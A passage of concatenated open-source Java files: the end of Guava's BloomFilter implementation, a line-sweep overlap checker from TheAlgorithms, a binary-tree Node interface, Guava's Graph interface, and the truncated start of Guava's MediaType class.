} /** * Returns {@code true} if the element <i>might</i> have been put in this Bloom filter, {@code * false} if this is <i>definitely</i> not the case. */ public boolean mightContain(@ParametricNullness T object) { return strategy.mightContain(object, funnel, numHashFunctions, bits); } /** * @deprecated Provided only to satisfy the {@link Predicate} interface; use {@link #mightContain} * instead. */ @Deprecated @Override public boolean apply(@ParametricNullness T input) { return mightContain(input); } /** * Puts an element into this {@code BloomFilter}. Ensures that subsequent invocations of {@link * #mightContain(Object)} with the same element will always return {@code true}. * * @return true if the Bloom filter's bits changed as a result of this operation. If the bits * changed, this is <i>definitely</i> the first time {@code object} has been added to the * filter. If the bits haven't changed, this <i>might</i> be the first time {@code object} has * been added to the filter. Note that {@code put(t)} always returns the <i>opposite</i> * result to what {@code mightContain(t)} would have returned at the time it is called. * @since 12.0 (present in 11.0 with {@code void} return type}) */ @CanIgnoreReturnValue public boolean put(@ParametricNullness T object) { return strategy.put(object, funnel, numHashFunctions, bits); } /** * Returns the probability that {@linkplain #mightContain(Object)} will erroneously return {@code * true} for an object that has not actually been put in the {@code BloomFilter}. * * <p>Ideally, this number should be close to the {@code fpp} parameter passed in {@linkplain * #create(Funnel, int, double)}, or smaller. If it is significantly higher, it is usually the * case that too many elements (more than expected) have been put in the {@code BloomFilter}, * degenerating it. * * @since 14.0 (since 11.0 as expectedFalsePositiveProbability()) */ public double expectedFpp() { return Math.pow((double) bits.bitCount() / bitSize(), numHashFunctions); } /** * Returns an estimate for the total number of distinct elements that have been added to this * Bloom filter. This approximation is reasonably accurate if it does not exceed the value of * {@code expectedInsertions} that was used when constructing the filter. * * @since 22.0 */ public long approximateElementCount() { long bitSize = bits.bitSize(); long bitCount = bits.bitCount(); /** * Each insertion is expected to reduce the # of clear bits by a factor of * `numHashFunctions/bitSize`. So, after n insertions, expected bitCount is `bitSize * (1 - (1 - * numHashFunctions/bitSize)^n)`. Solving that for n, and approximating `ln x` as `x - 1` when x * is close to 1 (why?), gives the following formula. */ double fractionOfBitsSet = (double) bitCount / bitSize; return DoubleMath.roundToLong( -Math.log1p(-fractionOfBitsSet) * bitSize / numHashFunctions, RoundingMode.HALF_UP); } /** Returns the number of bits in the underlying bit array. */ @VisibleForTesting long bitSize() { return bits.bitSize(); } /** * Determines whether a given Bloom filter is compatible with this Bloom filter. For two Bloom * filters to be compatible, they must: * * <ul> * <li>not be the same instance * <li>have the same number of hash functions * <li>have the same bit size * <li>have the same strategy * <li>have equal funnels * </ul> * * @param that The Bloom filter to check for compatibility. * @since 15.0 */ public boolean isCompatible(BloomFilter<T> that) { checkNotNull(that); return this != that && this.numHashFunctions == that.numHashFunctions && this.bitSize() == that.bitSize() && this.strategy.equals(that.strategy) && this.funnel.equals(that.funnel); } /** * Combines this Bloom filter with another Bloom filter by performing a bitwise OR of the * underlying data. The mutations happen to <b>this</b> instance. Callers must ensure the Bloom * filters are appropriately sized to avoid saturating them. * * @param that The Bloom filter to combine this Bloom filter with. It is not mutated. * @throws IllegalArgumentException if {@code isCompatible(that) == false} * @since 15.0 */ public void putAll(BloomFilter<T> that) { checkNotNull(that); checkArgument(this != that, "Cannot combine a BloomFilter with itself."); checkArgument( this.numHashFunctions == that.numHashFunctions, "BloomFilters must have the same number of hash functions (%s != %s)", this.numHashFunctions, that.numHashFunctions); checkArgument( this.bitSize() == that.bitSize(), "BloomFilters must have the same size underlying bit arrays (%s != %s)", this.bitSize(), that.bitSize()); checkArgument( this.strategy.equals(that.strategy), "BloomFilters must have equal strategies (%s != %s)", this.strategy, that.strategy); checkArgument( this.funnel.equals(that.funnel), "BloomFilters must have equal funnels (%s != %s)", this.funnel, that.funnel); this.bits.putAll(that.bits); } @Override public boolean equals(@CheckForNull Object object) { if (object == this) { return true; } if (object instanceof BloomFilter) { BloomFilter<?> that = (BloomFilter<?>) object; return this.numHashFunctions == that.numHashFunctions && this.funnel.equals(that.funnel) && this.bits.equals(that.bits) && this.strategy.equals(that.strategy); } return false; } @Override public int hashCode() { return Objects.hashCode(numHashFunctions, funnel, strategy, bits); } /** * Returns a {@code Collector} expecting the specified number of insertions, and yielding a {@link * BloomFilter} with false positive probability 3%. * * <p>Note that if the {@code Collector} receives significantly more elements than specified, the * resulting {@code BloomFilter} will suffer a sharp deterioration of its false positive * probability. * * <p>The constructed {@code BloomFilter} will be serializable if the provided {@code Funnel<T>} * is. * * <p>It is recommended that the funnel be implemented as a Java enum. This has the benefit of * ensuring proper serialization and deserialization, which is important since {@link #equals} * also relies on object identity of funnels. * * @param funnel the funnel of T's that the constructed {@code BloomFilter} will use * @param expectedInsertions the number of expected insertions to the constructed {@code * BloomFilter}; must be positive * @return a {@code Collector} generating a {@code BloomFilter} of the received elements * @since 23.0 */ public static <T extends @Nullable Object> Collector<T, ?, BloomFilter<T>> toBloomFilter( Funnel<? super T> funnel, long expectedInsertions) { return toBloomFilter(funnel, expectedInsertions, 0.03); } /** * Returns a {@code Collector} expecting the specified number of insertions, and yielding a {@link * BloomFilter} with the specified expected false positive probability. * * <p>Note that if the {@code Collector} receives significantly more elements than specified, the * resulting {@code BloomFilter} will suffer a sharp deterioration of its false positive * probability. * * <p>The constructed {@code BloomFilter} will be serializable if the provided {@code Funnel<T>} * is. * * <p>It is recommended that the funnel be implemented as a Java enum. This has the benefit of * ensuring proper serialization and deserialization, which is important since {@link #equals} * also relies on object identity of funnels. * * @param funnel the funnel of T's that the constructed {@code BloomFilter} will use * @param expectedInsertions the number of expected insertions to the constructed {@code * BloomFilter}; must be positive * @param fpp the desired false positive probability (must be positive and less than 1.0) * @return a {@code Collector} generating a {@code BloomFilter} of the received elements * @since 23.0 */ public static <T extends @Nullable Object> Collector<T, ?, BloomFilter<T>> toBloomFilter( Funnel<? super T> funnel, long expectedInsertions, double fpp) { checkNotNull(funnel); checkArgument( expectedInsertions >= 0, "Expected insertions (%s) must be >= 0", expectedInsertions); checkArgument(fpp > 0.0, "False positive probability (%s) must be > 0.0", fpp); checkArgument(fpp < 1.0, "False positive probability (%s) must be < 1.0", fpp); return Collector.of( () -> BloomFilter.create(funnel, expectedInsertions, fpp), BloomFilter::put, (bf1, bf2) -> { bf1.putAll(bf2); return bf1; }, Collector.Characteristics.UNORDERED, Collector.Characteristics.CONCURRENT); } /** * Creates a {@link BloomFilter} with the expected number of insertions and expected false * positive probability. * * <p>Note that overflowing a {@code BloomFilter} with significantly more elements than specified, * will result in its saturation, and a sharp deterioration of its false positive probability. * * <p>The constructed {@code BloomFilter} will be serializable if the provided {@code Funnel<T>} * is. * * <p>It is recommended that the funnel be implemented as a Java enum. This has the benefit of * ensuring proper serialization and deserialization, which is important since {@link #equals} * also relies on object identity of funnels. * * @param funnel the funnel of T's that the constructed {@code BloomFilter} will use * @param expectedInsertions the number of expected insertions to the constructed {@code * BloomFilter}; must be positive * @param fpp the desired false positive probability (must be positive and less than 1.0) * @return a {@code BloomFilter} */ public static <T extends @Nullable Object> BloomFilter<T> create( Funnel<? super T> funnel, int expectedInsertions, double fpp) { return create(funnel, (long) expectedInsertions, fpp); } /** * Creates a {@link BloomFilter} with the expected number of insertions and expected false * positive probability. * * <p>Note that overflowing a {@code BloomFilter} with significantly more elements than specified, * will result in its saturation, and a sharp deterioration of its false positive probability. * * <p>The constructed {@code BloomFilter} will be serializable if the provided {@code Funnel<T>} * is. * * <p>It is recommended that the funnel be implemented as a Java enum. This has the benefit of * ensuring proper serialization and deserialization, which is important since {@link #equals} * also relies on object identity of funnels. * * @param funnel the funnel of T's that the constructed {@code BloomFilter} will use * @param expectedInsertions the number of expected insertions to the constructed {@code * BloomFilter}; must be positive * @param fpp the desired false positive probability (must be positive and less than 1.0) * @return a {@code BloomFilter} * @since 19.0 */ public static <T extends @Nullable Object> BloomFilter<T> create( Funnel<? super T> funnel, long expectedInsertions, double fpp) { return create(funnel, expectedInsertions, fpp, BloomFilterStrategies.MURMUR128_MITZ_64); } @VisibleForTesting static <T extends @Nullable Object> BloomFilter<T> create( Funnel<? super T> funnel, long expectedInsertions, double fpp, Strategy strategy) { checkNotNull(funnel); checkArgument( expectedInsertions >= 0, "Expected insertions (%s) must be >= 0", expectedInsertions); checkArgument(fpp > 0.0, "False positive probability (%s) must be > 0.0", fpp); checkArgument(fpp < 1.0, "False positive probability (%s) must be < 1.0", fpp); checkNotNull(strategy); if (expectedInsertions == 0) { expectedInsertions = 1; } /* * TODO(user): Put a warning in the javadoc about tiny fpp values, since the resulting size * is proportional to -log(p), but there is not much of a point after all, e.g. * optimalM(1000, 0.0000000000000001) = 76680 which is less than 10kb. Who cares! */ long numBits = optimalNumOfBits(expectedInsertions, fpp); int numHashFunctions = optimalNumOfHashFunctions(expectedInsertions, numBits); try { return new BloomFilter<>(new LockFreeBitArray(numBits), numHashFunctions, funnel, strategy); } catch (IllegalArgumentException e) { throw new IllegalArgumentException("Could not create BloomFilter of " + numBits + " bits", e); } } /** * Creates a {@link BloomFilter} with the expected number of insertions and a default expected * false positive probability of 3%. * * <p>Note that overflowing a {@code BloomFilter} with significantly more elements than specified, * will result in its saturation, and a sharp deterioration of its false positive probability. * * <p>The constructed {@code BloomFilter} will be serializable if the provided {@code Funnel<T>} * is. * * <p>It is recommended that the funnel be implemented as a Java enum. This has the benefit of * ensuring proper serialization and deserialization, which is important since {@link #equals} * also relies on object identity of funnels. * * @param funnel the funnel of T's that the constructed {@code BloomFilter} will use * @param expectedInsertions the number of expected insertions to the constructed {@code * BloomFilter}; must be positive * @return a {@code BloomFilter} */ public static <T extends @Nullable Object> BloomFilter<T> create( Funnel<? super T> funnel, int expectedInsertions) { return create(funnel, (long) expectedInsertions); } /** * Creates a {@link BloomFilter} with the expected number of insertions and a default expected * false positive probability of 3%. * * <p>Note that overflowing a {@code BloomFilter} with significantly more elements than specified, * will result in its saturation, and a sharp deterioration of its false positive probability. * * <p>The constructed {@code BloomFilter} will be serializable if the provided {@code Funnel<T>} * is. * * <p>It is recommended that the funnel be implemented as a Java enum. This has the benefit of * ensuring proper serialization and deserialization, which is important since {@link #equals} * also relies on object identity of funnels. * * @param funnel the funnel of T's that the constructed {@code BloomFilter} will use * @param expectedInsertions the number of expected insertions to the constructed {@code * BloomFilter}; must be positive * @return a {@code BloomFilter} * @since 19.0 */ public static <T extends @Nullable Object> BloomFilter<T> create( Funnel<? super T> funnel, long expectedInsertions) { return create(funnel, expectedInsertions, 0.03); // FYI, for 3%, we always get 5 hash functions } // Cheat sheet: // // m: total bits // n: expected insertions // b: m/n, bits per insertion // p: expected false positive probability // // 1) Optimal k = b * ln2 // 2) p = (1 - e ^ (-kn/m))^k // 3) For optimal k: p = 2 ^ (-k) ~= 0.6185^b // 4) For optimal k: m = -nlnp / ((ln2) ^ 2) /** * Computes the optimal k (number of hashes per element inserted in Bloom filter), given the * expected insertions and total number of bits in the Bloom filter. * * <p>See http://en.wikipedia.org/wiki/File:Bloom_filter_fp_probability.svg for the formula. * * @param n expected insertions (must be positive) * @param m total number of bits in Bloom filter (must be positive) */ @VisibleForTesting static int optimalNumOfHashFunctions(long n, long m) { // (m / n) * log(2), but avoid truncation due to division! return Math.max(1, (int) Math.round((double) m / n * Math.log(2))); } /** * Computes m (total bits of Bloom filter) which is expected to achieve, for the specified * expected insertions, the required false positive probability. * * <p>See http://en.wikipedia.org/wiki/Bloom_filter#Probability_of_false_positives for the * formula. * * @param n expected insertions (must be positive) * @param p false positive rate (must be 0 < p < 1) */ @VisibleForTesting static long optimalNumOfBits(long n, double p) { if (p == 0) { p = Double.MIN_VALUE; } return (long) (-n * Math.log(p) / (Math.log(2) * Math.log(2))); } private Object writeReplace() { return new SerialForm<T>(this); } private void readObject(ObjectInputStream stream) throws InvalidObjectException { throw new InvalidObjectException("Use SerializedForm"); } private static class SerialForm<T extends @Nullable Object> implements Serializable { final long[] data; final int numHashFunctions; final Funnel<? super T> funnel; final Strategy strategy; SerialForm(BloomFilter<T> bf) { this.data = LockFreeBitArray.toPlainArray(bf.bits.data); this.numHashFunctions = bf.numHashFunctions; this.funnel = bf.funnel; this.strategy = bf.strategy; } Object readResolve() { return new BloomFilter<T>(new LockFreeBitArray(data), numHashFunctions, funnel, strategy); } private static final long serialVersionUID = 1; } /** * Writes this {@code BloomFilter} to an output stream, with a custom format (not Java * serialization). This has been measured to save at least 400 bytes compared to regular * serialization. * * <p>Use {@linkplain #readFrom(InputStream, Funnel)} to reconstruct the written BloomFilter. */ public void writeTo(OutputStream out) throws IOException { // Serial form: // 1 signed byte for the strategy // 1 unsigned byte for the number of hash functions // 1 big endian int, the number of longs in our bitset // N big endian longs of our bitset DataOutputStream dout = new DataOutputStream(out); dout.writeByte(SignedBytes.checkedCast(strategy.ordinal())); dout.writeByte(UnsignedBytes.checkedCast(numHashFunctions)); // note: checked at the c'tor dout.writeInt(bits.data.length()); for (int i = 0; i < bits.data.length(); i++) { dout.writeLong(bits.data.get(i)); } } /** * Reads a byte stream, which was written by {@linkplain #writeTo(OutputStream)}, into a {@code * BloomFilter}. * * <p>The {@code Funnel} to be used is not encoded in the stream, so it must be provided here. * <b>Warning:</b> the funnel provided <b>must</b> behave identically to the one used to populate * the original Bloom filter! * * @throws IOException if the InputStream throws an {@code IOException}, or if its data does not * appear to be a BloomFilter serialized using the {@linkplain #writeTo(OutputStream)} method. */ @SuppressWarnings("CatchingUnchecked") // sneaky checked exception public static <T extends @Nullable Object> BloomFilter<T> readFrom( InputStream in, Funnel<? super T> funnel) throws IOException { checkNotNull(in, "InputStream"); checkNotNull(funnel, "Funnel"); int strategyOrdinal = -1; int numHashFunctions = -1; int dataLength = -1; try { DataInputStream din = new DataInputStream(in); // currently this assumes there is no negative ordinal; will have to be updated if we // add non-stateless strategies (for which we've reserved negative ordinals; see // Strategy.ordinal()). strategyOrdinal = din.readByte(); numHashFunctions = UnsignedBytes.toInt(din.readByte()); dataLength = din.readInt(); Strategy strategy = BloomFilterStrategies.values()[strategyOrdinal]; LockFreeBitArray dataArray = new LockFreeBitArray(LongMath.checkedMultiply(dataLength, 64L)); for (int i = 0; i < dataLength; i++) { dataArray.putData(i, din.readLong()); } return new BloomFilter<>(dataArray, numHashFunctions, funnel, strategy); } catch (IOException e) { throw e; } catch (Exception e) { // sneaky checked exception String message = "Unable to deserialize BloomFilter from InputStream." + " strategyOrdinal: " + strategyOrdinal + " numHashFunctions: " + numHashFunctions + " dataLength: " + dataLength; throw new IOException(message, e); } } private static final long serialVersionUID = 0xcafebabe; }
google/guava
guava/src/com/google/common/hash/BloomFilter.java
386
package com.thealgorithms.others; import java.util.Arrays; import java.util.Comparator; /* Line Sweep algorithm can be used to solve range problems by first sorting the list of ranges * by the start value of the range in non-decreasing order and doing a "sweep" through the number * line(x-axis) by incrementing the start point by 1 and decrementing the end point+1 by 1 on the * number line. * An overlapping range is defined as (StartA <= EndB) AND (EndA >= StartB) * References * https://en.wikipedia.org/wiki/Sweep_line_algorithm * https://en.wikipedia.org/wiki/De_Morgan%27s_laws> */ public final class LineSweep { private LineSweep() { } /** * Find Maximum end point * param = ranges : Array of range[start,end] * return Maximum Endpoint */ public static int FindMaximumEndPoint(int[][] ranges) { Arrays.sort(ranges, Comparator.comparingInt(a -> a[1])); return ranges[ranges.length - 1][1]; } /** * Find if any ranges overlap * param = ranges : Array of range[start,end] * return true if overlap exists false otherwise. */ public static boolean isOverlap(int[][] ranges) { int maximumEndPoint = FindMaximumEndPoint(ranges); Arrays.sort(ranges, Comparator.comparingInt(a -> a[0])); int[] numberLine = new int[maximumEndPoint + 2]; for (int[] range : ranges) { int start = range[0]; int end = range[1]; numberLine[start] += 1; numberLine[end + 1] -= 1; } int current = 0; int overlaps = 0; for (int num : numberLine) { current += num; overlaps = Math.max(overlaps, current); } return overlaps > 1; } }
TheAlgorithms/Java
src/main/java/com/thealgorithms/others/LineSweep.java
387
/* * This project is licensed under the MIT license. Module model-view-viewmodel is using ZK framework licensed under LGPL (see lgpl-3.0.txt). * * The MIT License * Copyright © 2014-2022 Ilkka Seppälä * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ package com.iluwatar.nullobject; /** * Interface for binary tree node. */ public interface Node { String getName(); int getTreeSize(); Node getLeft(); Node getRight(); void walk(); }
smedals/java-design-patterns
null-object/src/main/java/com/iluwatar/nullobject/Node.java
388
/* * Copyright (C) 2014 The Guava Authors * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.google.common.graph; import com.google.common.annotations.Beta; import com.google.errorprone.annotations.DoNotMock; import java.util.Collection; import java.util.Set; import javax.annotation.CheckForNull; /** * An interface for <a * href="https://en.wikipedia.org/wiki/Graph_(discrete_mathematics)">graph</a>-structured data, * whose edges are anonymous entities with no identity or information of their own. * * <p>A graph is composed of a set of nodes and a set of edges connecting pairs of nodes. * * <p>There are three primary interfaces provided to represent graphs. In order of increasing * complexity they are: {@link Graph}, {@link ValueGraph}, and {@link Network}. You should generally * prefer the simplest interface that satisfies your use case. See the <a * href="https://github.com/google/guava/wiki/GraphsExplained#choosing-the-right-graph-type"> * "Choosing the right graph type"</a> section of the Guava User Guide for more details. * * <h3>Capabilities</h3> * * <p>{@code Graph} supports the following use cases (<a * href="https://github.com/google/guava/wiki/GraphsExplained#definitions">definitions of * terms</a>): * * <ul> * <li>directed graphs * <li>undirected graphs * <li>graphs that do/don't allow self-loops * <li>graphs whose nodes/edges are insertion-ordered, sorted, or unordered * </ul> * * <p>{@code Graph} explicitly does not support parallel edges, and forbids implementations or * extensions with parallel edges. If you need parallel edges, use {@link Network}. * * <h3>Building a {@code Graph}</h3> * * <p>The implementation classes that {@code common.graph} provides are not public, by design. To * create an instance of one of the built-in implementations of {@code Graph}, use the {@link * GraphBuilder} class: * * <pre>{@code * MutableGraph<Integer> graph = GraphBuilder.undirected().build(); * }</pre> * * <p>{@link GraphBuilder#build()} returns an instance of {@link MutableGraph}, which is a subtype * of {@code Graph} that provides methods for adding and removing nodes and edges. If you do not * need to mutate a graph (e.g. if you write a method than runs a read-only algorithm on the graph), * you should use the non-mutating {@link Graph} interface, or an {@link ImmutableGraph}. * * <p>You can create an immutable copy of an existing {@code Graph} using {@link * ImmutableGraph#copyOf(Graph)}: * * <pre>{@code * ImmutableGraph<Integer> immutableGraph = ImmutableGraph.copyOf(graph); * }</pre> * * <p>Instances of {@link ImmutableGraph} do not implement {@link MutableGraph} (obviously!) and are * contractually guaranteed to be unmodifiable and thread-safe. * * <p>The Guava User Guide has <a * href="https://github.com/google/guava/wiki/GraphsExplained#building-graph-instances">more * information on (and examples of) building graphs</a>. * * <h3>Additional documentation</h3> * * <p>See the Guava User Guide for the {@code common.graph} package (<a * href="https://github.com/google/guava/wiki/GraphsExplained">"Graphs Explained"</a>) for * additional documentation, including: * * <ul> * <li><a * href="https://github.com/google/guava/wiki/GraphsExplained#equals-hashcode-and-graph-equivalence"> * {@code equals()}, {@code hashCode()}, and graph equivalence</a> * <li><a href="https://github.com/google/guava/wiki/GraphsExplained#synchronization"> * Synchronization policy</a> * <li><a href="https://github.com/google/guava/wiki/GraphsExplained#notes-for-implementors">Notes * for implementors</a> * </ul> * * @author James Sexton * @author Joshua O'Madadhain * @param <N> Node parameter type * @since 20.0 */ @Beta @DoNotMock("Use GraphBuilder to create a real instance") @ElementTypesAreNonnullByDefault public interface Graph<N> extends BaseGraph<N> { // // Graph-level accessors // /** Returns all nodes in this graph, in the order specified by {@link #nodeOrder()}. */ @Override Set<N> nodes(); /** Returns all edges in this graph. */ @Override Set<EndpointPair<N>> edges(); // // Graph properties // /** * Returns true if the edges in this graph are directed. Directed edges connect a {@link * EndpointPair#source() source node} to a {@link EndpointPair#target() target node}, while * undirected edges connect a pair of nodes to each other. */ @Override boolean isDirected(); /** * Returns true if this graph allows self-loops (edges that connect a node to itself). Attempting * to add a self-loop to a graph that does not allow them will throw an {@link * IllegalArgumentException}. */ @Override boolean allowsSelfLoops(); /** Returns the order of iteration for the elements of {@link #nodes()}. */ @Override ElementOrder<N> nodeOrder(); /** * Returns an {@link ElementOrder} that specifies the order of iteration for the elements of * {@link #edges()}, {@link #adjacentNodes(Object)}, {@link #predecessors(Object)}, {@link * #successors(Object)} and {@link #incidentEdges(Object)}. * * @since 29.0 */ @Override ElementOrder<N> incidentEdgeOrder(); // // Element-level accessors // /** * Returns a live view of the nodes which have an incident edge in common with {@code node} in * this graph. * * <p>This is equal to the union of {@link #predecessors(Object)} and {@link #successors(Object)}. * * <p>If {@code node} is removed from the graph after this method is called, the {@code Set} * {@code view} returned by this method will be invalidated, and will throw {@code * IllegalStateException} if it is accessed in any way, with the following exceptions: * * <ul> * <li>{@code view.equals(view)} evaluates to {@code true} (but any other `equals()` expression * involving {@code view} will throw) * <li>{@code hashCode()} does not throw * <li>if {@code node} is re-added to the graph after having been removed, {@code view}'s * behavior is undefined * </ul> * * @throws IllegalArgumentException if {@code node} is not an element of this graph */ @Override Set<N> adjacentNodes(N node); /** * Returns a live view of all nodes in this graph adjacent to {@code node} which can be reached by * traversing {@code node}'s incoming edges <i>against</i> the direction (if any) of the edge. * * <p>In an undirected graph, this is equivalent to {@link #adjacentNodes(Object)}. * * <p>If {@code node} is removed from the graph after this method is called, the {@code Set} * {@code view} returned by this method will be invalidated, and will throw {@code * IllegalStateException} if it is accessed in any way, with the following exceptions: * * <ul> * <li>{@code view.equals(view)} evaluates to {@code true} (but any other `equals()` expression * involving {@code view} will throw) * <li>{@code hashCode()} does not throw * <li>if {@code node} is re-added to the graph after having been removed, {@code view}'s * behavior is undefined * </ul> * * @throws IllegalArgumentException if {@code node} is not an element of this graph */ @Override Set<N> predecessors(N node); /** * Returns a live view of all nodes in this graph adjacent to {@code node} which can be reached by * traversing {@code node}'s outgoing edges in the direction (if any) of the edge. * * <p>In an undirected graph, this is equivalent to {@link #adjacentNodes(Object)}. * * <p>This is <i>not</i> the same as "all nodes reachable from {@code node} by following outgoing * edges". For that functionality, see {@link Graphs#reachableNodes(Graph, Object)}. * * <p>If {@code node} is removed from the graph after this method is called, the {@code Set} * {@code view} returned by this method will be invalidated, and will throw {@code * IllegalStateException} if it is accessed in any way, with the following exceptions: * * <ul> * <li>{@code view.equals(view)} evaluates to {@code true} (but any other `equals()` expression * involving {@code view} will throw) * <li>{@code hashCode()} does not throw * <li>if {@code node} is re-added to the graph after having been removed, {@code view}'s * behavior is undefined * </ul> * * @throws IllegalArgumentException if {@code node} is not an element of this graph */ @Override Set<N> successors(N node); /** * Returns a live view of the edges in this graph whose endpoints include {@code node}. * * <p>This is equal to the union of incoming and outgoing edges. * * <p>If {@code node} is removed from the graph after this method is called, the {@code Set} * {@code view} returned by this method will be invalidated, and will throw {@code * IllegalStateException} if it is accessed in any way, with the following exceptions: * * <ul> * <li>{@code view.equals(view)} evaluates to {@code true} (but any other `equals()` expression * involving {@code view} will throw) * <li>{@code hashCode()} does not throw * <li>if {@code node} is re-added to the graph after having been removed, {@code view}'s * behavior is undefined * </ul> * * @throws IllegalArgumentException if {@code node} is not an element of this graph * @since 24.0 */ @Override Set<EndpointPair<N>> incidentEdges(N node); /** * Returns the count of {@code node}'s incident edges, counting self-loops twice (equivalently, * the number of times an edge touches {@code node}). * * <p>For directed graphs, this is equal to {@code inDegree(node) + outDegree(node)}. * * <p>For undirected graphs, this is equal to {@code incidentEdges(node).size()} + (number of * self-loops incident to {@code node}). * * <p>If the count is greater than {@code Integer.MAX_VALUE}, returns {@code Integer.MAX_VALUE}. * * @throws IllegalArgumentException if {@code node} is not an element of this graph */ @Override int degree(N node); /** * Returns the count of {@code node}'s incoming edges (equal to {@code predecessors(node).size()}) * in a directed graph. In an undirected graph, returns the {@link #degree(Object)}. * * <p>If the count is greater than {@code Integer.MAX_VALUE}, returns {@code Integer.MAX_VALUE}. * * @throws IllegalArgumentException if {@code node} is not an element of this graph */ @Override int inDegree(N node); /** * Returns the count of {@code node}'s outgoing edges (equal to {@code successors(node).size()}) * in a directed graph. In an undirected graph, returns the {@link #degree(Object)}. * * <p>If the count is greater than {@code Integer.MAX_VALUE}, returns {@code Integer.MAX_VALUE}. * * @throws IllegalArgumentException if {@code node} is not an element of this graph */ @Override int outDegree(N node); /** * Returns true if there is an edge that directly connects {@code nodeU} to {@code nodeV}. This is * equivalent to {@code nodes().contains(nodeU) && successors(nodeU).contains(nodeV)}. * * <p>In an undirected graph, this is equal to {@code hasEdgeConnecting(nodeV, nodeU)}. * * @since 23.0 */ @Override boolean hasEdgeConnecting(N nodeU, N nodeV); /** * Returns true if there is an edge that directly connects {@code endpoints} (in the order, if * any, specified by {@code endpoints}). This is equivalent to {@code * edges().contains(endpoints)}. * * <p>Unlike the other {@code EndpointPair}-accepting methods, this method does not throw if the * endpoints are unordered and the graph is directed; it simply returns {@code false}. This is for * consistency with the behavior of {@link Collection#contains(Object)} (which does not generally * throw if the object cannot be present in the collection), and the desire to have this method's * behavior be compatible with {@code edges().contains(endpoints)}. * * @since 27.1 */ @Override boolean hasEdgeConnecting(EndpointPair<N> endpoints); // // Graph identity // /** * Returns {@code true} iff {@code object} is a {@link Graph} that has the same elements and the * same structural relationships as those in this graph. * * <p>Thus, two graphs A and B are equal if <b>all</b> of the following are true: * * <ul> * <li>A and B have equal {@link #isDirected() directedness}. * <li>A and B have equal {@link #nodes() node sets}. * <li>A and B have equal {@link #edges() edge sets}. * </ul> * * <p>Graph properties besides {@link #isDirected() directedness} do <b>not</b> affect equality. * For example, two graphs may be considered equal even if one allows self-loops and the other * doesn't. Additionally, the order in which nodes or edges are added to the graph, and the order * in which they are iterated over, are irrelevant. * * <p>A reference implementation of this is provided by {@link AbstractGraph#equals(Object)}. */ @Override boolean equals(@CheckForNull Object object); /** * Returns the hash code for this graph. The hash code of a graph is defined as the hash code of * the set returned by {@link #edges()}. * * <p>A reference implementation of this is provided by {@link AbstractGraph#hashCode()}. */ @Override int hashCode(); }
google/guava
guava/src/com/google/common/graph/Graph.java
389
/* * Copyright (C) 2011 The Guava Authors * * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except * in compliance with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software distributed under the License * is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express * or implied. See the License for the specific language governing permissions and limitations under * the License. */ package com.google.common.net; import static com.google.common.base.CharMatcher.ascii; import static com.google.common.base.CharMatcher.javaIsoControl; import static com.google.common.base.Charsets.UTF_8; import static com.google.common.base.Preconditions.checkArgument; import static com.google.common.base.Preconditions.checkNotNull; import static com.google.common.base.Preconditions.checkState; import com.google.common.annotations.GwtCompatible; import com.google.common.base.Ascii; import com.google.common.base.CharMatcher; import com.google.common.base.Joiner; import com.google.common.base.Joiner.MapJoiner; import com.google.common.base.MoreObjects; import com.google.common.base.Objects; import com.google.common.base.Optional; import com.google.common.collect.ImmutableListMultimap; import com.google.common.collect.ImmutableMultiset; import com.google.common.collect.ImmutableSet; import com.google.common.collect.Maps; import com.google.common.collect.Multimap; import com.google.common.collect.Multimaps; import com.google.errorprone.annotations.CanIgnoreReturnValue; import com.google.errorprone.annotations.Immutable; import com.google.errorprone.annotations.concurrent.LazyInit; import java.nio.charset.Charset; import java.nio.charset.IllegalCharsetNameException; import java.nio.charset.UnsupportedCharsetException; import java.util.Map; import java.util.Map.Entry; import javax.annotation.CheckForNull; /** * Represents an <a href="http://en.wikipedia.org/wiki/Internet_media_type">Internet Media Type</a> * (also known as a MIME Type or Content Type). This class also supports the concept of media ranges * <a href="http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.1">defined by HTTP/1.1</a>. * As such, the {@code *} character is treated as a wildcard and is used to represent any acceptable * type or subtype value. A media type may not have wildcard type with a declared subtype. The * {@code *} character has no special meaning as part of a parameter. All values for type, subtype, * parameter attributes or parameter values must be valid according to RFCs <a * href="https://tools.ietf.org/html/rfc2045">2045</a> and <a * href="https://tools.ietf.org/html/rfc2046">2046</a>. * * <p>All portions of the media type that are case-insensitive (type, subtype, parameter attributes) * are normalized to lowercase. The value of the {@code charset} parameter is normalized to * lowercase, but all others are left as-is. * * <p>Note that this specifically does <strong>not</strong> represent the value of the MIME {@code * Content-Type} header and as such has no support for header-specific considerations such as line * folding and comments. * * <p>For media types that take a charset the predefined constants default to UTF-8 and have a * "_UTF_8" suffix. To get a version without a character set, use {@link #withoutParameters}. * * @since 12.0 * @author Gregory Kick */ @GwtCompatible @Immutable @ElementTypesAreNonnullByDefault public final class MediaType { private static final String CHARSET_ATTRIBUTE = "charset"; private static final ImmutableListMultimap<String, String> 